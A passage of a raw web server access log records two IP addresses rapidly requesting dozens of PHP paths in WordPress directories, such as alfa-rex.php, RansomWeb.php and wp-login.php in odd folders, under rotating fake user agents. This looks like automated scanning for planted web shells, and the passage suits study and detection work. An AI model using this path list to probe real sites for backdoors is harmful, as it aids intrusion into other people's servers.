Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:56 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:24:57 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-admin/js/headert.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-admin/css/sidebaru.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-admin/images/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:58 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-includes/pomo/xxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-admin/css/singlen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:59 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-includes/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-includes/fbxcrpyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:59 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-includes/PHPMailer/wow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/css/colors/blue/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-includes/PHPMailer/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/js/widgets/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:25:00 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-includes/Text/wp-xl504.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-includes/opjelxli.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:25:01 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:25:02 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:25:02 -0400] "GET /wp-content/uploads/RansomWeb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:25:02 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:25:02 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:25:02 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:25:02 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:25:02 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:25:02 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:25:02 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:25:02 